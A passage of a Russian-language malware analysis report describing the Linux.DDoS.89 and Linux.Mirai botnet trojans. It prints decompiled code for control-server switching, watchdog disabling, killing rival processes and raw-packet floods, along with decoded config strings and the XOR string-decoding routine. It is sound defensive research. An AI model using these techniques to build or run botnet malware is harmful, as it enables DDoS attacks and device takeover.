__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)
```

Затем устанавливаются обработчики других сигналов:

```
__bsd_signal(SIGCHLD, SIGEV_NONE);
__bsd_signal(SIGTRAP, change_host);
```

```
//change_host:  
void __cdecl change_host()  
{  
    decode(4u);  
    decode(5u);  
    cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);  
    cnc.sin_port = *(_WORD *)get_config_entry(5, 0);  
    encode(4u);  
    encode(5u);  
}
```

Затем процесс получает IP-адрес используемого для выхода в Интернет сетевого интерфейса путем соединения с DNS-сервером Google (**Linux.DDoS.87** получал этот адрес, соединяясь с собственным управляемым сервером):

```
int getMyIp()  
{  
    int v0; // esi@1  
    int result; // eax@1  
    __int16 v2; // [esp+20h] [ebp-1Ch]@2  
    __int16 v3; // [esp+22h] [ebp-1Ah]@2  
    int v4; // [esp+24h] [ebp-18h]@2  
    int v5; // [esp+30h] [ebp-Ch]@1  
    v5 = 16;  
    v0 = __GI_socket(2, 2, 0);  
    result = 0;  
    if ( v0 != -1 )  
    {  
        v2 = 2;  
        v4 = 0x8080808;  
        v3 = 0x3500;  
        __libc_connect(v0, &v2, 16);  
        __GI_getsockname(v0, &v2, &v5);  
        __libc_close(v0);  
        result = v4;  
    }  
    return result;}
```

После этого запускается локальный сервер:

```
int start_server()
{
    int result; // eax@1
    struct flock *v1; // eax@2
    char v2; // ST1C_1@2
    unsigned __int32 v3; // eax@2
    _DWORD *v4; // ebx@4
    char v5; // [esp+Ch] [ebp-30h]@0
    sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
    int v7; // [esp+30h] [ebp-Ch]@1
    v7 = 1;
    result = __GI_socket(2, 1, 0);
    server_socket = result;
    if ( result != -1 )
    {
        __GI_setsockopt(result, 1, 2, &v7, 4);
        v1 = (struct flock *)__GI__libc_fcntl(server_socket, 3, 0, v5);
        BYTE1(v1) |= 8u;
        __GI__libc_fcntl(server_socket, 4, v1, v2);
        v3 = 0x100007F;
        if ( !can_bind )
            v3 = selfaddr;
        v6.sin_family = 2;
        v6.sin_addr.s_addr = v3;
        v6.sin_port = 0xE5BBu; //48101
        v4 = GetLastError();
        *v4 = 0;
        if ( __GI_bind(server_socket, &v6, 16) == -1 )
        {
            if ( *v4 == EADDRNOTAVAIL )
                can_bind = 0;
            v6.sin_family = 2;
            v6.sin_addr.s_addr = 0;
            v6.sin_port = 0xE5BBu; //48101
            __libc_connect(server_socket, &v6, 16); //connect to socket
            __GI_sleep(5);
        }
    }
}
```

```

    __libc_close(server_socket);
    result = start_server();
}
else
{
    result = __GI_listen(server_socket, 1);
}
}

return result;
}

```

Если троянцу не удается использовать системный вызов **bind**, он соединяется с соответствующим портом, так как предполагается, что порт занят другим ранее запущенным процессом **Linux.DDoS.89**. В таком случае ранее запущенный процесс завершит свое выполнение. После запуска сервера заполняется структура **sockaddr_in**, в которую записывается хранящийся в исполняемом файле управляющего сервера:

.text:0804BBEF	mov	ds:cnc.sin_family, 2
.text:0804BBF8	add	esp, 10h
.text:0804BBFB	mov	ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05	mov	ds:cnc.sin_port, 5000h

Затем от имени процесса вычисляется следующая функция:

```

def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z = (~a[i % len(a)] & 0xff)
        sum = (sum + z) & 0xff
    return sum % 9

```

Возвращаемый результат этой функции служит индексом в массиве функций. Функция с соответствующим индексом будет выполнена. Список функций имеет следующий вид:

.rodata:080510A0 off_80510A0	dd offset start_server ; DATA XREF:
main+4Do	
.rodata:080510A4	dd offset decode
.rodata:080510A8	dd offset get_config_entry
.rodata:080510AC	dd offset fill_config

.rodata:080510B0	dd offset encode
.rodata:080510B4	dd offset memncpy
.rodata:080510B8	dd offset strcmp
.rodata:080510BC	dd offset runkiller
.rodata:080510C0	dd offset change_host

После этого проверяется имя текущего процесса. Если оно совпадает с "./dvrHelper", то генерируется сигнал SIGTRAP, который приведет к смене управляющего сервера.

Заполнение конфигурации осуществляется следующим образом:

```
v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ъ+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);
```

Конфигурация для данного образца выглядит следующим образом:

Номер	Раскодированное значение	Назначение
1	"DROPOUTJEEP"	
2	"wiretap -report='tcp://65.222.202.53:80'"	эта строка присваивается в качестве имени троянца и отображается в списке процессов
3	"listening tun0"	выводит на stdin при запуске
4	<ip-addres>	адрес управляющего сервера
5	<port>	порт управляющего сервера
6	"/proc/"	runkiller
7	"/exe"	runkiller

Номер	Раскодированное значение	Назначение
8	"REPORT %s:%s"	runkiller
9	"HTTPFLOOD"	runkiller
10	"LOLNOGTFO"	runkiller
11	"\x58\x4D\x4E\x4E\x43\x50\x46\x22"	runkiller
12	"zollard"	runkiller
13	"GETLOCALIP"	unused
14	<host>	scanner IP-адреса хоста, на который отправляется информация о зараженных устройствах
15	<port>	scanner порта хоста, на который отправляется информация о зараженных устройствах
16	"shell"	scanner
17	"enable"	scanner
18	"sh"	scanner
19	"/bin/busybox MIRAI"	scanner
20	"MIRAI: applet not found"	scanner
21	"ncorrect"	scanner
22	"TSource Engine Query"	cmd1
23	"/etc/resolv.conf"	cmd2
24	"nameserver"	cmd2

После заполнения конфигурации имя процесса изменяется на `conf[2]`, а с помощью функции `prctl` имя процесса меняется на значение `conf[1]`.

Затем осуществляется вывод в стандартный поток `stdin` `conf[3]`:

```
.text:0804BE05          lea    eax, [esp+1224h+len]
.text:0804BE0C          push   eax
.text:0804BE0D          push   3
.text:0804BE0F          call   get_config_entry
.text:0804BE14          add    esp, 0Ch
.text:0804BE17          mov    edi, [esp+1220h+len]
.text:0804BE1E          push   edi           ; len
```

.text:0804BE1F	push	eax	; addr
.text:0804BE20	push	1	; fd
.text:0804BE22	call	__libc_write	
.text:0804BE27	add	esp, 0Ch	
.text:0804BE2A	push	1	; len
.text:0804BE2C	push	offset newline_2 ; addr	
.text:0804BE31	push	1	; fd
.text:0804BE33	call	__libc_write	

Далее происходит создание дочерних процессов и вызов следующих функций:

.text:0804BEBF	call	init_consts__	
.text:0804BEC4	call	fill_handlers	
.text:0804BEC9	call	run_scanner	
.text:0804BECE	pop	esi	
.text:0804BECF	mov	edx, [esp+1228h+var_1210]	
.text:0804BED3	mov	ebx, [edx]	
.text:0804BED5	push	ebx	
.text:0804BED6	call	runkiller	

Функция **runkiller** в этой версии троянца не проверяет наличие файлов в директории процесса: для проверки используется PID. Процесс не будет завершен, если его PID совпадает с текущим или с родительским.

Изменениям подвергся также механизм работы с сетью. Вместо блокирующих сокетов троянец использует системный вызов select, который также обрабатывает и серверный сокет. При любом подключении к серверному сокету завершаются все дочерние процессы, запускается новый процесс-сканер и завершается текущий процесс:

.text:0804C1E5 socket_server_ready:			; CODE XREF: main +53Ej
.text:0804C1E5	mov	[esp+121Ch+optval], 10h	
.text:0804C1F0	lea	eax, [esp+121Ch+var_48]	
.text:0804C1F7	push	edi	
.text:0804C1F8	lea	edx, [esp+1220h+optval]	
.text:0804C1FF	push	edx	
.text:0804C200	push	eax	
.text:0804C201	push	ecx	
.text:0804C202	call	__libc_accept	
.text:0804C207	call	kill_scanner	
.text:0804C20C	call	kill_killer	

.text:0804C211	call	spawn_new_scanner
.text:0804C216	pop	ebx
.text:0804C217	pop	esi
.text:0804C218	push	9 ; sig
.text:0804C21A	neg	[esp+1228h+var_120C]
.text:0804C21E	mov	ecx, [esp+1228h+var_120C]
.text:0804C222	push	ecx ; int
.text:0804C223	call	__GI_kill
.text:0804C228	mov	[esp+122Ch+fd], 0 ; status
.text:0804C22F	call	__GI_exit

Также на управляющий сервер теперь не отсылается MAC-адрес сетевого адаптера, а команды из сети принимаются по одной.

Функция `run_scanner`, позаимствованная у троянцев семейства **Linux.BackDoor.Fgt** и предназначенная для поиска в сети уязвимых устройств, была немного изменена. Так, адрес сервера, на который отсылается информация об уязвимых устройствах, извлекается в этой версии троянца из конфигурации.

Из списка выполняемых типов атак исчез HTTP flood, сами команды были переупорядочены:

Номер	Тип
0	UPD random
1	TSource
2	DNS flood
3	TCP flood 2 options
4	TCP flood random data
5	TCP flood
6	UDP over GRE
7	TEB over GRE

В исследованном образце вирусописатели попытались реализовать атаку DNS amplification: теперь адрес DNS-сервера извлекается либо из файла `resolv.conf`, либо из списка публичных DNS-серверов, зашифтованных в теле троянца.

Linux.Mirai

SHA1: 7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f

Модифицированная версия троянцев [Linux.DDoS.87](#) и [Linux.DDoS.89](#). Основные отличия от [Linux.DDoS.89](#):

- в некоторых образцах троянца появилась функция самоудаления;
- троянец научился отключать предотвращающий зависание операционной системы сторожевой таймер watchdog (чтобы исключить перезагрузку устройства);
- имя процесса заменяется на случайную последовательность, состоящую из символов [a-z 0-9];
- изменилась структура конфигурации;
- при обнаружении процесса с именем ".anime" функция **Runkiller** не только завершает его работу, но и удаляет исполняемый файл;
- вновь появился метод атаки HTTP Flood, отсутствовавший в [Linux.DDoS.89](#);
- если не удалось создать сокет и подключиться к нему, соответствующая функция ищет владеющий сокетом процесс и завершает его.

Конфигурация в этой версии троянца имеет следующий вид:

Номер	Значение	Где используется
3	listening tun0	main вывод на stdin
4	Host	IP-адрес управляющего сервера
5	Port	порт управляющего сервера
6	"https://youtube.com/watch?v=dQw4w9WgXcQ"	
7	"/proc/"	runkiller
8	"/exe"	runkiller
9	" (deleted)"	
10	"/fd"	runkiller
11	".anime"	runkiller
12	"REPORT %s:%s"	runkiller
13	"HTTPFLOOD"	runkiller
14	"LOLNOGTFO"	runkiller
15	"\x58\x4D\x4E\x4E\x43\x50\x46\x22"	runkiller
16	"zollard"	runkiller

Номер	Значение	Где используется
17	"GETLOCALIP"	
18	Host	
19	Port	
20	"shell"	
21	"enable"	
22	"system"	
23	"sh"	
24	"/bin/busybox MIRAI"	
25	"MIRAI: applet not found"	
26	"ncorrect"	
27	"/bin/busybox ps"	
28	"/bin/busybox kill -9 "	
29	"TSource Engine Query"	
30	"/etc/resolv.conf"	
31	"nameserver"	
32	"Connection: keep-alive"	
33	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"	
34	"Accept-Language: en-US,en;q=0.8"	
35	"Content-Type: application/x-www-form-urlencoded"	
36	"setCookie("")	
37	"refresh:"	
38	"location:"	
39	"set-cookie:"	
40	"content-length:"	
41	"transfer-encoding:"	

Номер	Значение	Где используется
42	"chunked"	
43	"keep-alive"	
44	"connection:"	
45	"server: dosarrest"	
46	"server: cloudflare-nginx"	
47	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"	User Agent
48	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"	User Agent
49	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"	User Agent
50	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"	User Agent
51	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"	User Agent

Все образцы троянца используют функцию скрытия строк следующего вида:

```
def decode(str_enc):
    return "".join([chr(ord(x) ^ 0x22) for x in str_enc])
```

При запуске троянец удаляет с диска собственный исполняемый файл, затем блокирует сигнал остановки процессов SIGINT с помощью sigprocmask. Устанавливает параметр SIG_IGN для SIGCHLD, а также обработчик для SIGTRAP.

Затем троянец пытается открыть на чтение и запись файл /dev/watchdog (также проверяется /dev/misc/watchdog) и, если попытка увенчалась успехом, отключает сторожевой таймер watchdog (чтобы исключить перезагрузку устройства).

```
ioctl(fd, WDIOC_SETOPTION, WDIOS_DISABLECARD)
```

После этого троянец переходит в корневую папку и обращается к адресу 8.8.8.8:53, чтобы получить IP-адрес своего сетевого интерфейса.

Затем вычисляет функцию от значения argv[0]:

```
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z = (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
    #print "%x %x %x" % (z, sum, sum % 9)
    return sum % 9
```

Эта функция возвращает число от 0 до 8, которое является индексом в массиве функций:

off_8055DC0	dd offset bind_socket ; DATA XREF: main+109o
.rodata:08055DC4	dd offset sub_80517E0
.rodata:08055DC8	dd offset sub_8051730
.rodata:08055DCC	dd offset create_config
.rodata:08055DD0	dd offset sub_8051760
.rodata:08055DD4	dd offset sub_80523F0
.rodata:08055DD8	dd offset strcpy
.rodata:08055DDC	dd offset runkiller
.rodata:08055DE0	dd offset sub_804E900

Если значение **argv[0] == "./dvrHelper"**, то родительскому процессу отсылается сигнал SIGTRAP (для которого ранее был установлен обработчик). Обработчик, в свою очередь, заменяет позаимствованный из конфигурации IP-адрес и порт сервера, к которому будет выполняться подключение.

Далее запускается слушающий сокет на адресе 127.0.0.1:48101. Если этот порт занят другим процессом, запускается функция, которая находит владеющий сокетом процесс и завершает его.

Затем троянец генерирует имя в виде случайной последовательности, состоящей из символов [a-z 0-9], и записывает его в argv[0]. С помощью функции **prctl** имя процесса меняется на случайное.

Далее происходит создание дочерних процессов и завершение родительского. Все последующие шаги выполняются в дочернем процессе – в частности, заполняется структура, содержащая обработчики. Затем запускается функция сканирования уязвимых telnet-узлов и функция, завершающая процессы других троянцев. После этого запускается обработчик поступающих от управляющего сервера команд. Если обнаруживается попытка соединения с локальным сервером, завершаются все дочерние процессы, запускается процесс-потомок с целью сканирования уязвимых telnet-узлов, а родительский процесс завершается.

Для сравнения на иллюстрациях далее показаны фрагменты кода **Linux.DDoS.87** и **Linux.Mirai**.

```

37 | v38; // [esp+50h] [ebp-14h]@2
38 |
● 39 v28 = calloc(a1, 4u);
● 40 v32 = sub_804CB20(a3, a4, 2, 0);
● 41 v29 = sub_804CB20(a3, a4, 3, 0xFFFF);
● 42 v33 = sub_804CB20(a3, a4, 4, 64);
● 43 v34 = sub_804CB20(a3, a4, 5, 1);
● 44 v30 = sub_804CB20(a3, a4, 6, 0xFFFF);
● 45 v4 = sub_804CB20(a3, a4, 7, 0xFFFF);
● 46 v35 = sub_804CB20(a3, a4, 8, 512);
● 47 v36 = sub_804CB20(a3, a4, 1, 1);
● 48 v5 = sub_804CB20(a3, a4, 19, 0);
● 49 v6 = _GI_socket(2, 3, 6);
● 50 fd = v6;
● 51 result = v6 + 1;
● 52 if (result)
● 53 {
● 54     v38 = 1;
● 55     if (_GI_setsockopt(fd, 0, 3, &v38, 4) != -1)
● 56     {
● 57         v37 = v5;
● 58         v38 = 0;
● 59         if ((signed int)a1 > 0)
● 60         {
● 61             v8 = 0;
● 62             do
● 63             {
● 64                 v28[v8] = calloc(0x5E6u, 4u);
● 65                 v12 = v28[v38];
● 66                 *(BYTE *)v12 = 69;
● 67                 *(BYTE *)(v12 + 1) = v32;
● 68                 v13 = (WORD *)(v12 + 4);
● 69                 v14 = _ROR2(v35 + 52, 8);
● 70                 *(WORD *)(v12 + 2) = v14;
● 71                 *(BYTE *)(v12 + 8) = v33;
● 72                 v15 = _ROR2(v29, 8);
● 73                 *(WORD *)(v12 + 4) = v15;
● 74                 if (v34)
● 75                     *(WORD *)(v12 + 6) = 64;
● 76                 *(BYTE *)(v12 + 9) = 47;
● 77                 *(WORD *)(v12 + 22) = 8;
● 78                 *(DWORD *)(v12 + 12) = dword_8056A70;
● 79                 v16 = *(DWORD *)(v2 + 2h * v38);

```

Фрагмент кода Linux.DDoS.87

```

43 v44; // [esp+78h] [ebp-14h]@2
44 |
● 45 v31 = calloc(a1, 4u);
● 46 v35 = sub_804A950(a3, a4, 2, 0);
● 47 v32 = sub_804A950(a3, a4, 3, 0xFFFF);
● 48 v36 = sub_804A950(a3, a4, 4, 64);
● 49 v37 = sub_804A950(a3, a4, 5, 1);
● 50 v33 = sub_804A950(a3, a4, 6, 0xFFFF);
● 51 v4 = sub_804A950(a3, a4, 7, 0xFFFF);
● 52 v38 = sub_804A950(a3, a4, 8, 512);
● 53 v39 = sub_804A950(a3, a4, 1, 1);
● 54 v5 = sub_804A950(a3, a4, 19, 0);
● 55 v6 = _GI_socket(2, 3, 6);
● 56 v34 = v6;
● 57 result = v6 + 1;
● 58 if (result)
● 59 {
● 60     v44 = 1;
● 61     if (_GI_setsockopt(v34, 0, 3, &v44, 4) != -1)
● 62     {
● 63         v48 = v5;
● 64         v44 = 0;
● 65         if ((signed int)a1 <= 0)
● 66         {
● 67             v29 = v38 + 8;
● 68             v30 = v38 + 66;
● 69         }
● 70         else
● 71         {
● 72             v8 = 0;
● 73             do
● 74             {
● 75                 v31[v8] = calloc(0x5E6u, 4u);
● 76                 v13 = v31[v44];
● 77                 *(BYTE *)v13 = 69;
● 78                 v14 = (WORD *)(v13 + 58);
● 79                 *(BYTE *)(v13 + 1) = v35;
● 80                 v15 = _ROR2(v38 + 66, 8);
● 81                 *(WORD *)(v13 + 2) = v15;

```

Фрагмент кода Linux.Mirai